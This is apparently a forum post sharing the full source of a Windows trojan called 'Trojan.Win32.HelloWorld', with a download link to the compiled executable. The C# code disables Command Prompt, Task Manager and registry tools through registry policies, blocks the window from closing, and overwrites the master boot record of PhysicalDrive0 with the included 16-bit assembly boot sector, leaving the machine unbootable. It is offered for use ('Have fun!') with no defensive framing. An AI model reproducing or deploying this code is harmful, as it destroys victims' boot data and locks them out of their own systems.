Here is the source code of my malware. Have fun!
Malware download link: kavastprogramming.wz.cz/Malware/helloworld.exe.
And this is the source of the binary file.
Malware download link: kavastprogramming.wz.cz/Malware/helloworld.exe.
Code
// --- Trojan.Win32.HelloWorld ---
// - N16H7M4R3
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace Trojan.Win32.HelloWorld
{
public partial class HelloWorld : Form
{
[DllImport("kernel32.dll")]
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTempFile);
[DllImport("kernel32.dll")]
private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
byte[] helloWorldBoot = null;
IntPtr masterBootRecord = IntPtr.Zero;
RegistryKey registryKey = null;
private const uint GENERIC_ALL = 0x10000000;
private const uint FILE_SHARE_READ = 0x1;
private const uint FILE_SHARE_WRITE = 0x2;
private const uint OPEN_EXISTING = 0x3;
public HelloWorld()
{
InitializeComponent();
try
{
Registry_Set();
try
{
BootFile_Set(Boot.helloworld);
try
{
MasterBootRecord_CreateFile();
try
{
MasterBootRecord_WriteFile(masterBootRecord, helloWorldBoot, 512);
Opacity = 100;
}
catch
{
Environment.Exit(0);
}
}
catch
{
Environment.Exit(0);
}
}
catch
{
Environment.Exit(0);
}
}
catch
{
Environment.Exit(0);
}
}
private void Registry_Set()
{
registryKey = Registry.CurrentUser.CreateSubKey("Software\\Policies\\Microsoft\\Windows\\System");
registryKey.SetValue("DisableCMD", 1);
registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
registryKey.SetValue("DisableTaskMgr", 1);
registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
registryKey.SetValue("DisableRegistryTools", 1);
}
private void BootFile_Set(byte[] bootFile)
{
helloWorldBoot = bootFile;
}
private void MasterBootRecord_CreateFile()
{
masterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}
private void MasterBootRecord_WriteFile(IntPtr masterBootRecord, byte[] bootFile, uint bootFileSize)
{
WriteFile(masterBootRecord, bootFile, bootFileSize, out uint lpNumberOfBytesWritten, IntPtr.Zero);
}
private void HelloWorld_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}
}
}And this is the source of the binary file.
Code
; --- Trojan.Win32.HelloWorld ---
; - N16H7M4R3
; Boot
BITS 16
org 0x7c00
; Jump to start
jmp start
; Start
start:
mov ax, cs
mov ds, ax
mov si, msg
; Print string
call printString
; Print string
printString:
push ax
cld
; Load next char
nextChar:
mov al, [si]
cmp al, 0
je done
call printChar
inc si
jmp nextChar
; Done
done:
jmp $
; Print char
printChar:
mov ah, 0x0e
int 0x10
ret
; Message
msg: db "Hello, World!", 13, 10, "N16H7M4R3", 13, 10, 0
; End of file
times 510 - ($-$$) db 0
dw 0xaa55
